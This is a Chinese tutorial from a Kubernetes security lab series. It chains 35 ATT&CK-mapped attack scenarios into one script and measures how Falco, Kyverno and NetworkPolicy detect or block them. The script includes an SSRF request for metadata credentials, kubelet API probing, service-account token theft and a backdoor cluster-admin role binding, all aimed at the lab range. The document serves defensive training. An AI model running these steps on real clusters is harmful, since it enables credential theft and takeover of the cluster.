
把 35 個獨立場景串成一條完整的攻擊鏈——從初始存取到挖礦劫持,一鍵執行。
完成本日實作後,你將能夠:
本篇會串連前 23 天的攻擊場景。不需要全部讀完,但以下是建議的最低閱讀量:
| 等級 | 天數 | 內容 |
|---|---|---|
| 必備 | Day 1 | ATT&CK 概念 + 靶場部署(沒有靶場跑不了) |
| 攻擊鏈理解 | Day 2、4、6、8 | Initial Access、Execution、Persistence、Escape 四大戰術 |
| 防禦理解 | Day 3、5、7 | 對應的防禦對策(理解為什麼攻擊鏈可以被切斷) |
| 可跳過 | Day 9–23 | 各場景的細節,本篇會回顧重點 |
快速路徑:如果時間有限,至少讀完 Day 1 → 2 → 4 → 6 → 8 → 本篇,就能理解完整攻擊鏈的邏輯。
真實世界的攻擊不是單一步驟。攻擊者會沿著 Kill Chain 逐步深入:
偵查 → 入侵 → 建立據點 → 提權 → 橫向移動 → 達成目標
Lockheed Martin 的 Cyber Kill Chain 是最早的攻擊鏈模型,但它太線性、太 perimeter-focused。MITRE ATT&CK 改進了這個模型——攻擊者不一定按順序走,可能跳步驟、重複步驟、或同時在多個戰術上行動。
單獨測試每個場景(S01–S35)驗證的是「單一攻擊技術是否有效」,但真實攻擊是多個技術的組合。攻擊鏈演練的價值在於:
| 面向 | 單一場景測試 | 完整攻擊鏈 |
|---|---|---|
| 偵測 | 能偵測單一事件 | 驗證告警關聯和上下文分析 |
| 防禦 | 驗證單層防禦 | 驗證分層防禦的相互作用 |
| 時間 | 靜態測試 | 驗證偵測延遲和回應速度 |
| 覆蓋 | 單一戰術 | 跨戰術覆蓋完整度 |
| 團隊 | 技術驗證 | IR 演練 + 團隊協作 |
防禦者視角:如果 Falco 分別偵測到了「Shell in Container」和「kubectl Execution」,你的 SIEM 能把這兩個告警關聯起來、判斷這是同一條攻擊鏈嗎?只有跑完整的 Kill Chain 才能驗證這一點。

ATT&CK 多了 4 個戰術,更完整地描述容器環境中的攻擊行為。
KOAD 攻擊鏈的設計目標是:
KOAD 的攻擊鏈使用一個專用的 attacker pod,搭配 cluster-admin 權限的 ServiceAccount:
# attacker/attacker-pod.yaml
apiVersion: v1
kind: ServiceAccount
metadata:
name: attacker-sa
namespace: koad
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: attacker-cluster-admin
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: attacker-sa
namespace: koad
---
apiVersion: v1
kind: Pod
metadata:
name: attacker
namespace: koad
spec:
serviceAccountName: attacker-sa
containers:
- name: attacker
image: koad/attacker:latest
command: ["sleep", "infinity"]
securityContext:
privileged: true
attacker 映像包含所有攻擊工具:curl、kubectl、nmap、hydra、nsenter 等。
attack-chain.sh 使用 helper functions 管理輸出和狀態追蹤:
# 容器內 (attacker) — attack-chain.sh
#!/bin/bash
set +e # 不因個別命令失敗而中止
# === Helper Functions ===
RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'
CYAN='\033[0;36m'; NC='\033[0m'
PASS=0; FAIL=0; TOTAL=0
phase() { echo -e "\n${CYAN}========== $1 ==========${NC}\n"; }
attack() { TOTAL=$((TOTAL+1)); echo -e "${RED}[ATT&CK]${NC} $1"; }
log() { echo -e "${YELLOW}[ATTACK]${NC} $1"; }
result() {
if [ $1 -eq 0 ]; then
PASS=$((PASS+1)); echo -e "${GREEN}[✓ SUCCESS]${NC}"
else
FAIL=$((FAIL+1)); echo -e "${RED}[✗ FAILED]${NC}"
fi
}
SA_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
API_SERVER="https://kubernetes.default.svc"
NODE_IP=$(kubectl get nodes -o jsonpath='{.items[0].status.addresses[0].address}')
phase "TA0001 — Initial Access"
attack "S01 [T1190] SSRF → Metadata API"
RESULT=$(curl -s --max-time 10 "http://ssrf-webapp.koad:5000/fetch" \
-d "url=http://mock-metadata.koad/latest/meta-data/iam/security-credentials/k8s-node-role")
log "Metadata response: $(echo $RESULT | head -c 80)..."
result $?
attack "S02 [T1133] Exposed Kubelet API"
curl -sk --max-time 5 "https://$NODE_IP:10250/pods" | head -c 100
result $?
attack "S03 [T1078] Leaked kubeconfig in ConfigMap"
kubectl get configmap app-config -n koad -o jsonpath='{.data.kubeconfig}' 2>/dev/null
result $?
phase "TA0002 — Execution"
attack "S04 [T1059] Reverse shell simulation"
bash -c 'echo "shell spawned in container"'
result $?
attack "S05 [T1609] kubectl from compromised Pod"
log "Pod list:"
kubectl get pods -n koad --no-headers | head -5
result $?
attack "S06 [T1610] Deploy malicious Pod"
kubectl apply -f /attack/scenarios/malicious-pod.yaml 2>/dev/null
result $?
attack "S07 [T1053] CronJob backdoor"
kubectl apply -f /attack/scenarios/backdoor-cronjob.yaml 2>/dev/null
result $?
phase "TA0003 — Persistence"
attack "S08 [T1098] RBAC manipulation"
kubectl create clusterrolebinding backdoor-admin \
--clusterrole=cluster-admin \
--serviceaccount=koad:backdoor-sa 2>/dev/null
result $?
attack "S09 [T1136] Create backdoor ServiceAccount"
kubectl create sa backdoor-sa -n koad 2>/dev/null
result $?
attack "S10 [T1053] Persistent CronJob in kube-system"
kubectl apply -f /attack/scenarios/kube-system-cronjob.yaml 2>/dev/null
result $?
phase "TA0004 — Privilege Escalation"
attack "S13 [T1611] Privileged mount escape"
log "Checking if running as privileged..."
if [ -w /dev ]; then log "Privileged container confirmed"; fi
result $?
attack "S14 [T1611] Cgroup release_agent"
log "Checking cgroup mount..."
ls /sys/fs/cgroup/*/release_agent 2>/dev/null | head -1
result $?
attack "S15 [T1611] Docker socket access"
ls -la /var/run/docker.sock 2>/dev/null
result $?
phase "TA0005 — Defense Evasion"
attack "S20 [T1612] Build image on host"
attack "S21 [T1070] Clear bash history"
attack "S22 [T1036] Pod in kube-system"
phase "TA0112 — Defense Impairment"
attack "S23 [T1562] Delete Falco/Kyverno"
phase "TA0006 — Credential Access"
attack "S24 [T1110] Brute force (hydra)"
attack "S25 [T1528] Steal SA Token"
attack "S26 [T1552] Read Kubernetes Secrets"
log "SA token (first 30 chars): ${SA_TOKEN:0:30}..."
phase "TA0007 — Discovery"
attack "S27 [T1613] Resource discovery"
log "Namespace count: $(kubectl get ns --no-headers | wc -l)"
log "Pod count: $(kubectl get pods -A --no-headers | wc -l)"
log "Secret count: $(kubectl get secrets -A --no-headers | wc -l)"
attack "S28 [T1046] Network scan"
attack "S29 [T1087] RBAC enumeration"
phase "TA0008 — Lateral Movement"
attack "S30 [T1550] Cross-namespace token abuse"
phase "TA0040 — Impact"
attack "S31 [T1485] Data destruction"
attack "S32 [T1499] Resource bomb"
attack "S33 [T1490] Inhibit recovery"
attack "S34 [T1498] Network DoS"
attack "S35 [T1496] Cryptominer deployment"
echo -e "\n${CYAN}========== Attack Chain Complete ==========${NC}"
echo -e "Total: $TOTAL | ${GREEN}Pass: $PASS${NC} | ${RED}Fail: $FAIL${NC}"
# 主機終端
# 1. 建構 attacker 映像
$ minikube image build -t koad/attacker:latest attacker/
# 2. 部署所有攻擊場景的前置環境
$ kubectl apply -f scenarios/
# 3. 部署 attacker pod
$ kubectl apply -f attacker/attacker-pod.yaml
# 4. 等待 Pod 就緒
$ kubectl wait --for=condition=ready pod/attacker -n koad --timeout=60s
建議:在執行攻擊鏈前,先在第二個終端開啟 Falco 即時監控,觀察攻擊鏈觸發的告警:
# 第二終端 — 並排觀察告警 kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep --color "KOAD"
# 主機終端
# 5. 執行攻擊鏈
$ kubectl exec -n koad attacker -- bash /attack/attack-chain.sh
========== TA0001 — Initial Access ==========
[ATT&CK] S01 [T1190] SSRF → Metadata API
[ATTACK] Metadata response: {"AccessKeyId": "AKIAIOSFODNN7EXAMPLE", ...
[✓ SUCCESS]
[ATT&CK] S02 [T1133] Exposed Kubelet API
[ATTACK] Checking kubelet at 192.168.49.2:10250...
[✓ SUCCESS]
[ATT&CK] S03 [T1078] Leaked kubeconfig in ConfigMap
[✓ SUCCESS]
========== TA0002 — Execution ==========
[ATT&CK] S05 [T1609] kubectl from compromised Pod
[ATTACK] Pod list:
attacker 1/1 Running 0 2m
ssrf-webapp 1/1 Running 0 1h
[✓ SUCCESS]
========== TA0006 — Credential Access ==========
[ATT&CK] S26 [T1552] Unsecured credentials
[ATTACK] SA token (first 30 chars): eyJhbGciOiJSUzI1NiIsImtpZCI6...
[✓ SUCCESS]
========== TA0007 — Discovery ==========
[ATT&CK] S27 [T1613] Resource discovery
[ATTACK] Namespace count: 6
[ATTACK] Pod count: 37
[ATTACK] Secret count: 42
[✓ SUCCESS]
========== Attack Chain Complete ==========
Total: 35 | Pass: 31 | Fail: 4
關鍵發現:一個 cluster-admin SA Token = 整個叢集淪陷。 攻擊鏈從頭到尾暢通無阻——35 個場景中 31 個成功,4 個失敗是因為特定前置條件未滿足(如 docker.sock 未掛載)。
攻擊鏈執行期間,Falco 即時偵測到 174 條告警:
| 規則 | 告警數 | 觸發原因 |
|---|---|---|
| KOAD S26 SA Token Read | 85 | 每次 kubectl 都讀取 SA Token |
| KOAD S04 Shell in Container | 61 | bash 執行子命令 |
| KOAD S05 kubectl in Container | 27 | kubectl 命令執行 |
| KOAD S13 Privileged Container | 1 | 特權容器檢查 |
| 合計 | 174 | 4 條規則覆蓋整條攻擊鏈 |
Kyverno 記錄了 357 條 Audit 違規:
| 策略 | 違規數 | 說明 |
|---|---|---|
| require-run-as-nonroot | 89 | Pod 以 root 運行 |
| block-privileged-containers | 67 | 特權容器 |
| require-resource-limits | 54 | 無資源限制 |
| disable-automount-sa-token | 48 | 自動掛載 SA Token |
| require-readonly-rootfs | 41 | 可寫根目錄 |
| require-trusted-registry | 32 | 非信任 Registry |
| block-host-path | 26 | 掛載主機目錄 |
| 合計 | 357 | 每個攻擊 Pod 違反 2-3 個策略 |
# 主機終端 — 部署 default-deny-all 後重新執行攻擊鏈
$ kubectl apply -f defense/network-policies/default-deny.yaml
$ kubectl exec -n koad attacker -- bash /attack/attack-chain.sh
# 結果:攻擊鏈在 TA0001 就被完全阻斷
[S01] SSRF → Metadata API ............ ✗ (connection timed out)
[S02] Kubelet API .................... ✗ (connection timed out)
[S03] Kubeconfig in ConfigMap ........ ✓ (不需網路)
# 所有網路相關的攻擊步驟全部失敗
| 戰術 | Falco 覆蓋 | k8s_audit 需求 | NetworkPolicy | 覆蓋狀態 |
|---|---|---|---|---|
| TA0001 Initial Access | - | 需要 k8s_audit | ✓ 阻斷 | 部分 |
| TA0002 Execution | ✓ S04, S05 | - | - | 完整 |
| TA0003 Persistence | - | ✓ S07, S09, S10 | - | 完整 |
| TA0004 Priv Esc | ✓ S13-S19 | - | - | 完整 |
| TA0005 Stealth | ✓ S20, S21 | ✓ S22 | - | 完整 |
| TA0112 Def Impair | - | ✓ S23 | - | 完整 |
| TA0006 Cred Access | ✓ S24, S26 | - | - | 完整 |
| TA0007 Discovery | ✓ S28 | - | ✓ 限制 | 部分 |
| TA0008 Lateral Move | - | ✓ S30 | ✓ 阻斷 | 完整 |
| TA0040 Impact | ✓ S32, S35 | - | ✓ 限制 | 部分 |
無防禦 Falco +Kyverno +NetworkPolicy
TA0001 (3 場景) 3/3 3/3 3/3 0/3 ← NP 完全阻斷
TA0002 (4 場景) 4/4 4/4 2/4 2/4
TA0003 (3 場景) 3/3 3/3 1/3 1/3
TA0004 (7 場景) 7/7 7/7 0/7 0/7 ← Kyverno 阻擋特權
TA0005 (3 場景) 3/3 3/3 2/3 2/3
TA0006 (3 場景) 3/3 3/3 2/3 2/3
TA0007 (3 場景) 3/3 3/3 3/3 1/3 ← NP 阻擋掃描
TA0008 (1 場景) 1/1 1/1 1/1 0/1 ← NP 阻擋
TA0040 (5 場景) 5/5 5/5 3/5 2/5
攻擊成功率 100% 100%* 52% 31%
(偵測) (偵測) (阻擋) (阻擋)
* Falco 偵測但不阻擋(需搭配 Falco Talon 做自動回應)
從攻擊鏈的執行結果中,可以歸納出幾個重要的攻擊者行為模式:
模式 1:憑證導向(Credential-first)
取得 SA Token → kubectl get secrets → 讀取所有密碼 → 橫向移動
│ │
快速、低噪音 影響範圍大
這是最常見的模式。攻擊者一旦取得 SA Token,不需要提權或逃逸就能直接存取叢集資源。KOAD 攻擊鏈中,S05 → S26 → S30 就是這條路徑。
模式 2:逃逸導向(Escape-first)
特權容器 → 容器逃逸 → Node 存取 → 讀取所有 Pod 的 SA Token
│ │
需要特權 控制 Node 上所有容器
當 Pod 沒有高權限 SA 但是特權容器時,攻擊者會選擇先逃逸到 Node,再從 Node 層面橫向移動。
模式 3:持久化導向(Persistence-first)

APT 組織通常採用這個模式——不急著達成 Impact,而是先確保自己能「回來」。
攻擊鏈耗時:~30 秒
Falco 告警延遲:~2 秒
Kyverno 阻擋延遲:~0 秒(同步 Admission)
NetworkPolicy 阻擋延遲:~0 秒(封包層級)
結論:
Admission Control(Kyverno)和 NetworkPolicy 是預防型(0 延遲)
Falco 是偵測型(~2 秒延遲)
Audit Log 是事後分析型(延遲取決於日誌收集管線)
# minikube image build 有時會失敗
$ minikube image build -t koad/attacker:latest attacker/
# 如果失敗,用 docker build + minikube image load
$ docker build -t koad/attacker:latest attacker/
$ minikube image load koad/attacker:latest
# 攻擊鏈 30 秒跑完,但 Falco 的 output buffer 可能延遲
# 等幾秒再查看 Falco 日誌
$ sleep 5
$ kubectl logs -n falco -l app.kubernetes.io/name=falco --tail=50
# 或用 falcosidekick 即時推送告警
# NetworkPolicy 需要 CNI 支援(Calico, Cilium)
# minikube 預設的 kindnet 不支援 NetworkPolicy
# 解法:啟動 minikube 時指定 Calico
$ minikube start --cni=calico
# Audit 模式:記錄違規但不阻擋
# 攻擊鏈在 Audit 模式下不會被阻擋!
# 要測試阻擋效果,必須切到 Enforce
$ kubectl patch cpol koad-block-privileged -p \
'{"spec":{"validationFailureAction":"Enforce"}}'
在每個階段,攻擊者都會根據目前環境做出決策:

| 真實事件 | 攻擊路徑 | KOAD 對應 |
|---|---|---|
| Tesla 2018 挖礦 | Dashboard → kubectl → Cryptominer | S01 → S05 → S35 |
| Hildegard 2021 | kubelet API → 逃逸 → 挖礦 | S02 → S13 → S35 |
| Siloscape 2021 | Windows 容器 → 逃逸 → 後門 SA | S19 → S10 |
| TeamTNT | Docker.sock → 映像植入 → 蠕蟲 | S15 → S12 → S30 |
| Dero 2023 | 未認證 API → DaemonSet 挖礦 | S02 → S06 → S35 |
KOAD 的 35 場景不是憑空設計——每一個都能對應到真實世界的攻擊案例。
| 考點 | 本日內容 | 權重 |
|---|---|---|
| 威脅模型 | ATT&CK Kill Chain | 全部 |
| Runtime 偵測 | Falco 即時告警 | Monitoring 20% |
| 准入控制 | Kyverno Audit 記錄 | Minimize 20% |
| 網路隔離 | NetworkPolicy 阻斷效果 | Cluster Setup 15% |
題目:你的 Falco 在 5 分鐘內依序收到以下告警:(1) Shell in Container (koad/webapp)、(2) kubectl Execution in Container (koad/webapp)、(3) ClusterRoleBinding Created (audit log)、(4) Privileged Container Started (koad/attacker-priv)。請描述這條攻擊鏈並說明如何阻斷。
參考答案:
這是一條 TA0002 → TA0002 → TA0003 → TA0004 的攻擊鏈:
- 攻擊者取得 webapp Pod 的 shell (Execution)
- 用 Pod 的 SA Token 執行 kubectl (Execution)
- 建立 cluster-admin 綁定 (Persistence)
- 部署特權容器準備逃逸 (Privilege Escalation)
阻斷方法(按優先級):
- 立即:NetworkPolicy 隔離 webapp Pod
- 根因:移除 webapp SA 的 create clusterrolebinding 權限
- 預防:設定 automountServiceAccountToken: false + Kyverno Enforce block-privileged
| 問題 | 原因 | 解法 |
|---|---|---|
| 部分場景 Pod 不在 Running 狀態 | 依賴的映像未建構或資源不足 | kubectl get pods -n koad --field-selector=status.phase!=Running 找出問題 Pod;kubectl describe pod <name> -n koad 看 Events |
| 攻擊鏈在某一步中斷 | 前一步的 RBAC 或 SA Token 未正確設定 | 確認每個場景的 ServiceAccount 和 ClusterRoleBinding 存在:kubectl get sa,clusterrolebinding -n koad |
| 想重頭開始整條攻擊鏈 | 前次攻擊殘留的資源干擾 | kubectl delete -f scenarios/ --recursive -n koad 後重新 kubectl apply -f scenarios/ --recursive |
| Falco 告警太多看不清 | 多個場景同時運行產生大量 alert | 用 grep 過濾特定場景:kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep "S01|S09|S13" |
| 記不住各場景對應關係 | 35 個場景和 ATT&CK 技術對應複雜 | 參考 Day 1 的 ATT&CK 矩陣對照表,或用 kubectl get pods -n koad --show-labels | grep koad-scenario 查看標籤 |
| 面向 | KOAD 靶場 | 真實生產環境 |
|---|---|---|
| 攻擊時間 | 幾分鐘內完成整條 Kill Chain | 可能需要數天到數週,因為每一步都有偵測風險 |
| 橫向移動範圍 | 1-2 個 Node,數個 Namespace | 數十到數百個 Node,多個叢集,跨雲帳號 |
| 防禦層數 | 通常只有 K8s 原生機制 | Network Policy + WAF + IDS + Runtime Security + SIEM + IR 流程 |
KOAD 讓你在短時間內體驗完整 Kill Chain。真實環境中,每一步都可能被偵測和阻斷,攻擊者需要更多耐心和技巧。
attack-chain.sh)default-deny-all 的防禦效果default-deny-all 一條規則就把攻擊成功率降到 31%明天 Day 25 深入 Falco 自訂規則——26 條規則如何覆蓋 ATT&CK 全矩陣的 Runtime 偵測。